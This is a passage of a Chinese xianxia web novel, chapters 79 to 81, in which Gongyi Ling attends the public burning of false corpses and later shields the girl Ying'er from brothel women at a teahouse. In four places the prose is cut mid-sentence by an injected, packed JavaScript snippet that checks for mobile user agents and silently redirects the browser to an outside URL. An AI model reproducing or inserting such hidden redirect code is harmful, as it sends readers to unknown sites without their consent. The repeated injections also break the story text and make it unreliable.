旁边那妇人眼中含泪,口里不停地念叨着感谢的话语:“多谢上仙将我丈夫的尸身带了回来……” 她说一句,公仪岭就应一句。薛子昂则是细细叮嘱着这妇人要守口如瓶,不要将此事说出去,以免再次遭祸。 妇人泪眼婆娑,连声保证道:“好好好,我一定不说!” 薛子昂点头,望向棺材旁边两个忙碌的身影。 这是他们封的最后一副棺材了,等这个封完,依照城主的意思,便是在城中当众焚烧,借此来告诉百姓们,宣安城的此次灾祸,已经被解决了。 棺材里面也被他们两人用朱笔画满了法咒,公仪岭又在里面贴上了不少齐元白的符箓,这次盖上了棺材盖,钉好钉子,在外面施法将整个棺椁封闭了起来。 如此一来,那些法力低微的妖魔鬼怪,是无法靠近这边分毫的。 两个人里里外外细细检查完后,这才放下了手里的器具,擦了擦汗。 公仪岭问薛尧:“什么时候在街上焚烧来着?” 薛尧道:“城主在长街上应该已经准备地差不多了,下午申时就会开始。” 公仪岭算了算时间,找百来块破烂布施加障眼法,再赶到那边去,应该能刚好赶得上,于是对那妇人说道:“大娘,这棺材我们已经封完,现在就要走了。” 妇人连连点头道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13544059|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好的好的,上仙慢走。” 几人告辞离开后,把该准备的东西都准备了齐全,又去长街刑台处布下了结界,这才稍稍休息了片刻。 连着三四日的劳累下来,便是公仪岭修为高深也难掩疲惫,随意找个块路上的大石头坐下以后,公仪岭总算是明白了那日燕蓉走路飘忽是个什么样的状态了。 亏得薛子昂去旁边的茶楼讨来了几杯茶水。公仪岭咕嘟咕嘟灌了下去,才觉得身子缓过来了些。 申时还未到,刑台旁就已经被围过来的百姓挤得水泄不通。 公仪岭秘密下山寻人,自是不能暴露踪迹,他看着这么多围观群众,不得不与薛尧商量道:“我看焚烧这活儿,还是你们宗门的人出面吧?我就不出面了。” 薛尧问道:“为何?” 公仪岭道:“人太多了,不想出面。再说焚烧这个主意也是你们想出来的,让你们来做最为合适。我不同你们抢功劳,多好啊!” 薛尧思忖片刻,道:“好。” 薛子昂问他:“等下刑台上就我们几个,你站里面的话,想不出面都难,你打算躲哪儿去?” 公仪岭笑道:“这还不好办,我混到围观的人群里,不就好了?这样一来,还能顺便打探打探有没有魔族的人混进来,方便届时应对。” “有道理。” 众人齐齐点头。公仪岭见他们同意了,提着剑直接开溜。 只不过,下面围观的人数实在是太多,人挤人地导致公仪岭也行动困难。公仪岭不由感慨:自己身手不凡又如何?修为高深又如何?在群众百姓面前,不还是虚无缥缈的跟浮云似的,连走一步都难如登天。 自己被挤挤倒是没事,归云可不能被挤坏了,公仪岭好不容易被挤到了一个舒适点的位置,感觉自己总算是呼吸到了新鲜空气,抱着归云就不走了。 公仪岭正庆幸着呢,耳畔立刻就是一声惊呼。 “哎哟,挤什么?挤什么啊!”旁边一名美妇人似是被人挤得不行,一手拍开了旁边蹭到她身子的几双手,娇喝一声,“老娘的油也是你们这些人能揩的?把你们的猪蹄都给我撒开!” 她正要回头看看是哪个不长眼的蹭她,扫了周围一圈,当即就被身边的公仪岭吸引了注意力,眼前顿时一亮。 这美妇人媚笑一声,挽上了公仪岭的胳膊:“哟,这是谁家的小公子,生得如此俊俏,之前在城中怎么没见过呢!怎么,一个人来看热闹,要不要姐姐我来陪陪你啊?” 公仪岭冷不丁被人调戏,怔愣过后打量了这美妇人一眼,见她浓妆艳抹,身上衣服也穿得十分清凉,胸前两团白肉晃人眼睛,恨不能直接贴上来似的,吓得公仪岭直接将她那双染了指甲的手掰开,赶紧抽胳膊离身,声音都抖了些:“不是,姑娘你有话好说,别动手动脚的!” “公子别跑啊!好好说也行嘛,那要不然,你跟我回醉春风去,咱们秉烛夜谈,好好说说呗?”美妇人又上前一步拦住了他,勾住了公仪岭的衣襟,媚眼如丝,“放心,我从来不骗长得俊的,醉春风不收你的钱,走嘛,走嘛……” 79.渡人难渡己 来去一场空(五) 公仪岭哪见过这阵仗,当即冷汗就下来了,心中直念清心咒,就问旁边的围观群众:“这谁家的姑娘啊!快来把她带走啊!” 周围的人似乎都认得这美妇人,没一会儿旁边传来一男子哈哈大笑的声音:“这位小哥是别的地方来的吧?醉春风的月娘都不认得?除了她,还有谁是这样的?” “是啊!是啊!你一个青楼妓子,不好好待在楼里面接客,跑这儿来做什么?” “嘿!怕不是今日城里人都跑来看热闹了,醉春风里没客人了,才出来了吧?” “我呸!”被他们叫做月娘的女子往地上啐了一口,骂道,“平日里醉春风也没见你们几个少去,现在搁我面前装什么死德行?下次来楼里点我,看我不给你们涨几两银子!” 那几名男子也骂道:“死贱人,给点颜色你还开起染坊来了!” 不过,那月娘说的话还是有些作用的,几个男子也就是嘴上找了点面子,骂完以后也不吱声了。 月娘哼了一声,骂完他们转头又要去寻公仪岭,可惜公仪岭哪儿还会给她这样的机会,早就抱着归云逃之夭夭,跑没影了。 “哎?那小白脸人呢?” 她在人群中望了半天没看见公仪岭也是正常,只因公仪岭逃走后,直接找了个角落蹲下了身,将自己埋没在了人群之中。 公仪岭隔老远看着她四下张望未果,竟是满脸遗憾地叹了口气,只好悻悻作罢。这才勉强松了口气。 幸亏他在山中修习之时,没少被罚抄各种咒语,那清心咒早已经被他背的滚瓜烂熟,终于在今日派上了用场。 看来,以后抄的那些咒语也得用心多记一记,没准哪天就派上用场了。 他还没想多久,就已经到了申时。就听刑台上震天响地的炸起了阵阵锣鼓声,直接把所有人的目光都引了过去。 “终于要开始了。” 公仪岭默默道了一句,小心翼翼地直起身子往台上看。 刑台上早已被无妄宗的人支起了一圈干柴,在里面铺上了厚厚的稻草,台子四周则是摆满了一堆装满了水的木桶,看样子是怕万一烧过了头,还能有个抢救措施。 而他们施加过障眼法的那些假皮,全都被堆积在了上面。 公仪岭眼眸微眯,仔细辨认了一番,确定自己施的障眼法没有问题以后,才安心下来。 那些遇害者的家人早已被他们交代,不必前往刑台。所以,凡是在场的百姓,都认为焚烧被魔气污染过的人皮这件事并没有什么问题,他们都只盼着赶紧把这些最后的隐患给去除了,一个个在场下叫嚣道:“烧了!烧了!” “快把这些晦气的东西烧了!!!” “烧完以后,宣安城就安全了!” 主持行刑的自然是薛尧了,他们宗每个人手上都已经拿着一支火把,只等薛尧一声令下,就可以点火了。 薛尧凝视着桌子上的沙漏,沙子簌簌地往下流,在下面堆成了一座小山。直到里面的沙子完全漏尽,代表已经到了申时,薛尧立刻就与薛子昂交换了一个眼神,高声道:“时辰已到,点火行刑!” 薛子昂得了令,三步并作两步走到干柴堆旁边,飞快地用手上的火把引燃了柴火和干草。 其他的弟子随即也都跟上,每个人的火把都在草堆里点了一遍,然后就直接把整个火把丢在了里面。 不过一盏茶的时间,刑台上就燃起了熊熊大火。 为了防止意外发生,公仪岭一直警惕地观察着周围的人群,看有没有魔族的人混进来,他一个人一个人细细排查过去,好在,并没有察觉出来有混进来奇怪的人。 台下每个人的眼睛都死死地盯着火光中的东西,透露出来的全然是憎恨、厌恶的神色,公仪岭还听到了不少人或低声或高声的咒骂,似乎大家都把一个月来人心惶惶的所有原因归结于此。 “烧得好!” “真痛快!” “这该死的东西终于被消灭了!” “要不是因为它们,我们会这样担惊受怕一个月,连门都不敢出?!” 诸如此类的声音吵得公仪岭头晕目眩,心中悲凉之意油然而生。 看现在这样子,显然大家都把这些人皮当做了情绪的发泄口,似乎非要上去亲自也点一把火,才能平息了胸口的这股怨气一般。 他们全然已经忘记了这些人皮在被做成傀儡之前,也曾是宣安城里的普通百姓。 公仪岭只庆幸他们几人没让那些遇害者的家人过来围观,不然的话,也不知他们看到这样的场景,该多么悲痛欲绝。 他静静地望着柴火上窜出的火舌疯狂地舔舐、吞没着稻草堆上摆放的百来张假人皮,直到它们开始烧焦、散味,完全被燃尽,连个渣滓都没剩下。 多么残忍。 哪怕知道这上面的人皮是假的,但公仪岭还是不忍继续看,叹了口气,摇了摇头,从人群里离开了。 大火烧了足足有半个时辰,才把刑台上的所有东西都烧了个干干净净。 公仪岭离得远远地,坐在一棵柳树下,看着围观群众慢慢散去,无妄宗的几人在刑台上收拾起残局,这才踱步回去。 薛尧见他回来,开口问道:“如何,可有发现什么魔族的可疑人员?” 公仪岭摇了摇头,施法将结界收起,道:“没有,这下面来看的人,应该都是普通百姓。” “那就好。”薛尧点了点头,“如此也算是暂时瞒过去了,我也好与师父和长老交差。公仪兄,切勿忘记你我间的约定。” “我不会忘。” 薛尧凝视了他片刻,似乎在确认他话语中的真实性,随即道:“那样最好。” 公仪岭问他:“现在人皮傀儡的事情也告一段落,你们接下来是不是就要回无妄宗了?” 薛尧道:“正是。” 薛子昂对他道:“公仪兄,日后有机会再见。” 公仪岭笑了笑:“你们什么时候走?” 薛尧道:“明日就走。那你呢?什么时候回云灵山?” 公仪岭顿了顿,没告诉他们莺儿拜托他的事情,从容不迫道:“我也明天走。” 薛尧点了点头,没有多说什么,趁着天还没全黑,几人收拾完以后,便回到了万仙寺休息。 万仙寺地窖里的那些百姓早已被他们送走。虽然公仪岭也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13552482|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很想帮他们接上断腿,无奈那些腿已经断了太久,又被魔气侵蚀,根本没办法接上了,公仪岭也是束手无策,只能眼睁睁看着他们身患残疾。 如今,万仙寺人去楼空,只剩下一个无处可去的莺儿留在里面。 公仪岭离开前已经叮嘱过她,不要将自己帮她寻人的时候告诉无妄宗的人,莺儿也十分听话的照办了。在无妄宗的人回来后,见到正殿里老老实实等着他们回来的莺儿,纷纷诧异道:“小姑娘,你怎么还没走?” 莺儿讷讷道:“我无家可归,没地方去,万仙寺现在就是我的家,我当然要留在这里了。” 公仪岭对他们道:“反正我们就最后借宿一晚,明早就离开了,莺儿在或是不在,也不碍事。” 无妄宗的人也顿时没了话,还把白日里找来的剩下的布料给了她,等晚上天凉的时候,很贴心地给她生了一个火堆。 次日一早,薛尧就带着人离开了。 至于他们没跟公仪岭打声招呼就走,原因无他,只因公仪岭大早上的睡得正香,一点都没有要醒的迹象。 无妄宗的弟子们沉默地看了一会儿公仪岭的睡姿,不由叹道:“早听说公仪兄是个巳时起、子时息的作息,多年来位于仙家反面教材榜榜首之位,一骑绝尘,无人动摇。今日一见,果然不虚。” 于是他们摇着头就走了。 公仪岭醒来的时候已是午时,他揉着眼从地上的破草席上起来的时候,正对上莺儿看向他的眼睛,嘴里还啃着他昨天给的白面馒头,含糊不清跟他说:“仙人哥哥,早啊。” 公仪岭看了看外面照进来的阳光:“好像不早了,你怎么没叫我呢?万一咱们出发晚了,你朋友遇到什么危险怎么办。” 莺儿认真道:“现在城中的鬼都被仙人哥哥消灭完了,他既然在城中,一定平安无事。我想着,你这几天都没有好好休息过,就没有吵醒你。” 公仪岭看了看四周,原先无妄宗睡觉的位置已经空了,连个铺盖都没留下,就问道:“他们走了?” 莺儿点头:“我醒来的时候,就没有看见他们了,肯定已经启程了。” 公仪岭低头看了看她手中拿着的馒头,道:“那等你吃完,我们就出发吧。” 莺儿闻言,马上吭哧吭哧地把剩下的馒头啃完了,捡起旁边的竹竿勉强支起身子,对他露出一个灿烂的笑容:“仙人哥哥,我们走吧。” 考虑到她腿上有伤,公仪岭便没有御剑带她下去,而是一只手搀着她,带她下了山。 宣安城如今又恢复了热闹,大白天的街上就有不少人,逛街的逛街,叫卖的叫卖。莺儿似乎也很久没看到这样的场景了,一双杏眼睁地很大,满是惊奇。 公仪岭却在这时候犯了难。 从前冷冷清清的时候,他倒是没觉得宣安城有多么大,如今人变多了以后,反倒觉得城中变大了许多,一时之间,他也不知道该去何处寻找。 公仪岭就问莺儿:“你朋友可能会去哪里,你知道吗?” 莺儿思考了一会儿,说道:“城中有一座霁月茶楼,他曾偷偷带我去那边吃过茶。仙人哥哥,我们可以先去那边找找看。” 80.一赌长乐坊 莫笑醉春风(一) 公仪岭道:“好。” 莺儿口中所说的那座霁月茶楼,坐落在宣安城东市最好的地段。 公仪岭领着她随意找路人打听了一下,才知那茶楼老板也是个神秘的人,神龙见首不见尾的,鲜少有人见过其真容。大家对此人的说法也是众说纷纭,有说他富可敌国,有说他面如冠玉,是个风流倜傥之人,只不过,都没有一个定论。 听大家都把人说得这么神秘,公仪岭也难免对这人起了好奇之心,不过他的关注点还是放在了帮莺儿找她朋友和找自己爹娘这两桩大事上面,便依照着路人的指引,朝着东市去了。 两人刚行至东市最热闹的街道上,没走两步,莺儿就遥遥一指远处一座高大的建筑,对他欣喜道:“仙人哥哥,就是这个茶楼!” 公仪岭顺着她指的方向看了过去,心里当即就是一声长叹:“哎哟喂,那几个路人说得真是一点不假,这茶楼也造的太……大了。” 他只远远一望,就见这楼至少也有三层高度,与旁边其他的店铺相比,就连装修也更胜一筹,一派古色古香的韵味。 显然,这茶楼主人,是一个极有品味的人。 公仪岭对这座茶楼浅浅地表示了一下欣赏之意,正打算走过去的时候,就见旁边开了一家成衣铺子,偏头想到了什么,垂眸瞧了一眼身旁的小姑娘,觉得她身上还穿着一身破布很不妥,就对她道:“正好路过这间铺子,我带你去买件衣服吧。” 莺儿一怔,摇了摇头赶紧拒绝了:“仙人哥哥,我不用买衣服的。” 她嗫嚅道:“你能帮我寻人,我已经很感激了,怎么好让你再破费呢。” 公仪岭不以为然:“这有什么,你是去见朋友的,总不好穿成这样就过去,你说对吧?” 莺儿沉默了片刻,才小声道:“那……等我挣了钱还你。” 公仪岭失笑:“你还这么小,如何挣钱?你我萍水相逢,也是缘分,我哪里会要你的钱?” 说罢,不由分说就拉着人进了成衣铺。 不过,公仪岭也是第一次来城中买衣服,从前他们云灵山的衣服,都是承悦准备的,他也就没操心过这回事。进了铺子后,掌柜的是一位看起来很温和的女子,笑意盈盈地问道:“这位公子,需要买些什么?” 公仪岭指了指自己身旁的莺儿,对掌柜说道:“掌柜的,可否给我的妹妹选一件合适的衣服。” “没问题。” 掌柜女子热情无比地将两人迎进了铺内,指着铺子里陈列的几排衣服道:“公子,小姐,这都是我们当季最流行的衣裙呢,你们看看,喜欢哪一件?” 莺儿怯怯地看着他,等着他拿个主意。 公仪岭看着面前花花绿绿一堆衣服,只觉得头晕。他不太懂这些,只好道:“掌柜的,你带她换一件先看看吧。” 掌柜女子也是个极会做生意的,那张小嘴跟抹了蜜一样甜,扬唇笑道:“这位小姐年岁虽小,却是个美人坯子,想来换上我们家的衣服,定然衬她。” 说着就取了几件衣服,给人推进了隔帘后,殷切地开始给莺儿试起衣服来。 等莺儿再次出来的时候,公仪岭看见的便是一身绯红衣裙、扎好小辫的莺儿了。 掌柜女子的眼光的确非凡,这颜色与莺儿很是相配,更衬得她肤白若雪,十分俏丽了。 公仪岭觉得还行,想着都说了是自己妹妹了,那穿跟云灵山差不多颜色的衣服也没什么问题,立刻拍板:“就这件吧。” 掌柜的笑意更深,引了两人回到柜前,手中算盘珠子噼里啪啦打了一阵,对公仪岭报了一个数:“公子,这件衣服是这个价呢。” 公仪岭听了价格后,暗暗心惊,心道不愧是东市的物价,果然比其他地方高很多,庆幸自己出门带了钱,于是掏出了钱袋子,将一小块银子搁在柜台上后,难得大气道:“不必找了。” 说罢,就领着莺儿离开了。 成衣铺子离霁月茶楼不过几步路的距离,两人很快来到了门口。 公仪岭停驻在茶楼大门外,抬头细细凝望着那块木质牌匾,上面苍劲有力地被人题了“霁月清风”四个大字,就问门口揽客的小厮道:“这个字写得挺不错的,不知这茶楼的牌匾,是何人题的?” 小厮笑答:“客官怕是第一次来我们这边吧?这块牌匾,可是我们家茶楼主人亲自题的字。” 公仪岭了然:“哦,我们确实是第一次来,能否给我们两位寻个好位置?” 小厮将人请进了茶楼内,将他们引到了一楼大堂中间的一处位置。公仪岭环顾四周,见茶楼内也十分宽敞明亮,正中央还设了一座极大的戏台,用的是黄花梨的雕花木头,戏台上头飞檐翘角,其檐下的牌科还有刻了各式各样的浮雕花纹,自上而下悬了几块绫罗绸缎制成的挡帘,掩住了大半个台子,引得人不由自主就想掀开帘子看个究竟。 公仪岭随意点了一壶茶和几叠茶点,等那茶上来了,问那小厮道:“寻常茶楼都没见用帘子给遮起来的,你们家怎得这样布置?” 小厮笑道:“客官有所不知,我们霁月茶楼向来如此,每每茶楼内如果要演什么曲目了,定然是要拉下戏台上这帘子的。” 公仪岭道:“那看样子,你们今日又有戏要开演了?” “正是。”小厮答道,“客官来得正巧,我们茶楼今日要表演的曲目是《谪仙风月救风尘》。” 公仪岭刚喝了茶,听到这名字差点一口茶喷出来,好不容易忍了下去,抚了抚自己的胸口,震惊道:“这是什么新戏?怎么听起来这么……” 小厮耐心解释道:“这几年老旧的戏目大家看也看腻了,听也听厌了,可不得推出点有意思的新戏目,才好吸引人来看嘛!” 公仪岭心中暗道:“这戏目还真是够新,够荒唐。” 那小厮给两人介绍完就离开了。公仪岭给莺儿也斟了一杯茶,就问她:“你可有看见熟悉的人吗?” 莺儿从进来就一直四处张望,并未找到有熟悉的人,眼中难掩失望,垂下头对公仪岭说道:“仙人哥哥,我暂时还没看见。” 公仪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13552483|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岭安慰道:“没事,不着急,现在茶楼里人还没多起来,没准等戏曲开演以后,你也就找到他了。” “好吧,仙人哥哥,你说得对。” 于是莺儿支着脸庞,开始迫切等待着台上的戏曲开演。 他们两人来得早,占的位置也好,几盏茶过后,周围人就渐渐多了起来。 公仪岭耐心地等了半个时辰的时间,终于等到了台上帘幕被人一扯,哗啦啦落了下来。五尺高台上出来了一名青衣小生和一名红衣花旦,脸上扮着妆,带着精致复杂的头面,自台上云步一走,眼波流转,低眉抬腕之间,咿咿呀呀就开了场。 台下众茶客看官极其捧场,鼓掌喝彩道:“好!” 公仪岭也被他们吸引住了目光,歪了头兴致勃勃就开始看起来。 前几段看下来,倒是没有什么太大的问题。只是,公仪岭唯一觉得有点问题的地方,便是这戏文里的“谪仙”,也不知道是不是已经被贬的原因,演得看起来半点没有他们修仙人的气质,他们俩反倒是更像是一对普通情人。 尤其是前面两人私相授受时候互相喊的那两句:“宣郎——” “娘子——” 听得公仪岭只觉得浑身起鸡皮疙瘩,不忍卒听。不过,看着旁边那些人看得津津有味的样子,公仪岭还是选择尊重了大家的喜好,只在心里默默想,并没有宣之于口,点评一二。 台上演得起劲,台下看得也起劲。众人正吃着茶点,欢声笑语之际,茶楼门口却突然传来几声女子娇笑,为首的那名美娇娘对那小厮嗲声嗲气道:“坊里今个儿忙了些,我们可来晚了?” 里面的戏曲唱词声音婉转,传到外面落到那几名女子耳中,就有另外一女子说道:“哎呀,还当真是来晚了,妈妈,你看这里头座无虚席的,可怎么办才好?” 小厮道:“两位姑娘,今日来看戏的人确实多了些,这里头怕是不能单开一桌了,您二位看看,能不能找个两位拼桌呢?” 公仪岭耳力极佳,那边说了什么,他这边早就听了个清清楚楚。如此熟悉的语调,不由就让他回忆起昨日围观刑台的时候遇到的那位女子了,当下就觉得后背一寒,想换个位置。 茶楼内吵吵嚷嚷的,莺儿没听到外面说的话,还在全神贯注地欣赏着台上的戏曲。公仪岭看了一眼周围确实也都没位置了,犹豫了片刻,就没有打扰她,重新挺了挺背,坐直了。 小厮迎着外面的两位姑娘就往里走,心里也在犹豫着给她们安排谁拼桌合适。进来一看,中间的位置倒还有两个位置,心中诧异:“这么好的位置,怎么没人找他们拼桌?” 不过他走近一看,也就明白了过来。 公仪岭身上那佩剑大咧咧地就被他随手搁在桌上,一看就不是个好惹的主儿,也难怪没人敢与他们拼桌了,万一惹恼了人家,上来就捅一剑,该怎么办? 两边姑娘催得紧,小厮也为难,只能硬着头皮将两人带到了公仪岭他们俩面前,好声好气问道:“这位公子,不知道能否与这两位姑娘拼个桌呢?” 81.一赌长乐坊 莫笑醉春风(二) 那两姑娘原先听小厮说要拼桌,还不情不愿的。结果两人走过来,刚瞧见公仪岭一个侧影,当即就是眼前一亮,连声叫唤道:“拼拼拼,我们愿意拼!” 说完,她们也不管小厮怎么说,公仪岭有没有答应,二话不说就从人群外挤了过来,扭着腰肢直接就在公仪岭旁边坐下了。 其中一女子眼波盈盈,开口道:“这位公子,也来听戏啊?” 公仪岭回过了身,双目平淡无波地看向两人,淡然道:“真巧啊,又见面了。” 月娘一开始还没认出来,直到公仪岭的脸转了过来,她这才掩唇惊叫了一声,认出了人。不过,片刻的惊讶后,随即就是一副娇嗔的模样:“我道是谁,原来是你啊,昨日奴家与公子一面之缘,回去后便念念不忘,满心惦记着还想与公子再续前缘呢。没想到今日便又遇上了,公子你说,可不就是命定的缘分?” 公仪岭心中嫌恶,面上却还是从容镇定的模样,嗤笑道:“可笑,谁跟你命定的缘分?今日我不过是带自家妹妹来听戏罢了。你们两人如若识相,老老实实听完这出戏走人也就算了,如果非要同我们纠缠的话,休怪我不客气!” 月娘吃吃笑道:“奴家竟没想到,公子还是个如此体贴的兄长……”说着就移了目光去看公仪岭身旁的那女孩。 公仪岭压根没打算让莺儿与这两个女子打照面,刚想伸手给莺儿护住的时候,却猛然发觉莺儿背对着那两名妓子浑身战栗,眼中满是恐惧,完全不敢转过身来。 他愣了愣,随即轻声问:“莺儿,你怎么了?” 莺儿神色惊慌,小声道:“仙人哥哥,我们走吧,我不看了……” 公仪岭皱眉,心道莫不是这两个女子的行径太大胆吓到她了,于是温声说:“好,那我们就不看了,我们先走。” 说罢也懒得再给那两女子一个眼色,拽着垂头不语的莺儿就要走。 “等等!” 月娘冷不丁喊了一句,同前面那娇媚的声线不同,竟多了几分肃然。 公仪岭哪管她说了什么,拉着莺儿头也不回就要离开。 谁知公仪岭刚走了两步路,月娘就也直接站起身来,一爪子揪住了莺儿的手臂,将她强行扭了过来,似笑非笑地看着她的脸:“哎哟喂,这不是我们家的莺娘吗?许久不见,怎么没听说你多了个哥哥啊?” 莺儿像只受了惊的兔子,想要死命甩开抓住自己的那只手,甚至直接张嘴狠狠在她胳膊上咬了一口:“滚!滚!我不认识你!你撒开!” 月娘吃痛,下意识就松了手,心痛不已地看着自己肤若凝脂的小臂上被咬出来的牙印,咬牙切齿道:“死丫头,嘴劲够大的,都快给我咬出血来了。” 这么好的机会,莺儿自然不会放过。公仪岭这会儿还脑袋发蒙呢,反被莺儿抓着手要拖他离开。只可惜她腿都是瘸的,怎么能拖得动公仪岭?莺儿面前立刻就站起来了一人,挡住了她的去路。 拦住她的正是醉春风的老鸨,此刻风情万种地斜斜撑在木桌边上,手上那柄精致的花折扇一展,勾唇笑道:“我还想着公子仪表堂堂、气度非凡,应当是位正人君子才是。想不到,竟然也会做出来勾引我们家莺娘私奔之事!” 月娘在旁楚楚可怜地附和道:“是呢,柳妈妈,你看莺娘跑了以后,性子都变烈了,瞧把我手给咬成什么样了!这要是被我那些恩客瞧见,还不知道要怎么解释呢!” 她们这两人,嗓门极大,说的话又露骨,一下子就把周围人的注意力从戏台上吸引到了这边,四面八方射来一束束考究的目光,全都上上下下审视着公仪岭,颇有几分意味深长的意思。 公仪岭只听周围那些看热闹的“啧”了好几声,好像自己落在旁人眼中竟然成了一个道貌岸然的伪君子一般,涨红了脸道:“你们休要胡说!这完全是子虚乌有的事情!” 那老鸨像是听到了什么极大的笑话,掩着唇笑了一声,婷婷袅袅几步上前围着公仪岭走了半圈,拿扇子抵在了他的下巴处:“子虚乌有?敢问公子,我可有哪里说得不对?方才可是你亲口承认的,我们家莺娘是你妹妹!咱们醉春风的人谁不知道莺娘无父无母,家里连个人都没有,怎么凭空多出来你这么个兄长了?刚才听你们哥哥妹妹的叫得亲热,不是公子你拐走了莺娘,谁是?” “就是说啊!莺娘在我们那儿好吃好喝养着,连个脏活累活都不给她干,生怕伤了她那双弹琵琶的手。如果不是有人怂恿把她带走,她怎么会逃出去?”月娘连声附和。 台上一外旦这会儿唱道:“妹儿,你为甚么非要跟随他——” 旦角则唱道:“他一心知重我,因此我也一心要嫁他——” “你原来为这般啊——” 这台上的唱词正正好好传来,台下观众这边看看,那边看看,顿时脸上都是一副了然之色。 公仪岭一个头两个大,矢口否认:“我都说了不是我,我跟莺儿才认识没几天呢!刚认的妹妹也不行?” “你道这公子与你诉情肠甜似蜜——” “等你随他到家里,多无半载周年就相弃——” 也不知道是不是上面唱的词提醒了老鸨,那老鸨审视着他们两人的目光忽然一凝,脸上花容失色,惊声叫了起来:“哎哟喂,我们家莺儿这腿是怎么了?怎么走路一瘸一拐的?” 月娘听得此言,连忙弯下腰去检查莺儿的腿,顿时嗔怪道:“妈妈,这腿上的伤,一看就是被打的呀!” 莺儿拢着裙子,连连后退,看着她们装模作样只觉得恶心,道:“我这腿是怎么伤的,你们最清楚!现在惺惺作态,装什么样子?!” 老鸨才懒得跟她小丫头片子掰扯,直接就去为难公仪岭了,先是挤出了几滴眼泪,在茶楼大堂哭天抢地了一通,随后语气更是咄咄逼人、字字泣血起来:“这位公子,怎么敢做不敢认?我们家莺娘可是被我当做亲女儿来养的,我培养她练琴技,甚至都不忍心让她卖身!这么多年了,这孩子都这么大了,突然有一天找不着了,换做是谁,都心急的呀!我看你一表人才,怎么……怎么会做出打人的事情来!” 她这一通演讲下来,围观的人当真信了几分,底下窃窃私语道:“是啊!这女娃看起来模样这么俊俏,一看就被养的不错。反倒是那旁边的公子,一进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565577|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来我就注意到他提着把剑,一副凶神恶煞的样子……” “刚才你们敢去跟他拼桌吗?反正我是不敢!谁来茶楼喝茶听戏还带把剑啊!” “是啊,是啊……这小姑娘也是惨,怕不是甜言蜜语被人哄骗出来以后,发现跟错了人,这才被打折了腿吧?” 那台上外旦唱道:“拳椎脚踢——” “打得你哭啼啼——” 这么大口锅直接就扣他脑门上了,如何能忍?公仪岭怒目横眉道:“我一生锄奸扶弱,如何能做出来打女孩的事情?你们若是再颠倒黑白是非,小心我拉你们去见官!” 莺儿也急了,苍白着小脸地对围观群众解释:“这位哥哥是好人,他没有打我!” 那老鸨拭了拭眼角泪水:“好吧!既然莺娘说不是你打的,那我就且信你几分!从方才进门的时候,我便知道公子你定是个好人,一定是心悦我们家莺娘许久,这才路见不平拔刀相助,救她一命。这样的恩情,原先是该以身相许的……只是我们家莺娘这卖身契,可还在醉春风里,您看……?” 月娘美目流转,也接话道:“公子看着可不像是拿不出这点小钱的人,我们家莺娘也真是好福气,能得公子青睐了。” 公仪岭不由自主后退了两步,惊惶道:“不是,我就一路过的!” 围观的茶客叹气道:“不是我说啊,这位公子,你这就不对了,方才还说这位姑娘是你妹妹呢,怎么这一会儿又变成路过了?” “就是啊!你看这小姑娘都快急哭了,结果一跟他提卖身契,这厮居然直接装不认识了,真是薄情寡性啊!” 公仪岭欲哭无泪,对那老鸨道:“这位姐,虽然你夸我夸得挺好的,但我真就一路过的,偶然间才遇到莺儿的!” 那老鸨两只眼睛上下打量着他,听完这话后立刻翻了个白眼,往地上啐了一口:“呸!我还道莺娘运气好,能遇到一位知心知性的良人,想不到一提钱,立马就翻脸不认人了!莺娘,我看你还是擦擦亮眼睛,好好看清楚旁边这野男人的真面目吧!” 月娘也鄙夷地看向他道:“白瞎了这张脸了,真是没一个好东西!莺娘,我看你还是收收心,跟我们回去吧!再怎么说,妈妈把你养这么大可不容易!” 围观的茶客也起哄道:“是啊,小姑娘,赶紧回去吧!” “这男的看着就不靠谱!可别被他骗了!” “是啊!长得就像个小白脸,还跑去醉春风快活的,能是什么好东西?快跟着这两位姑娘回去吧!” 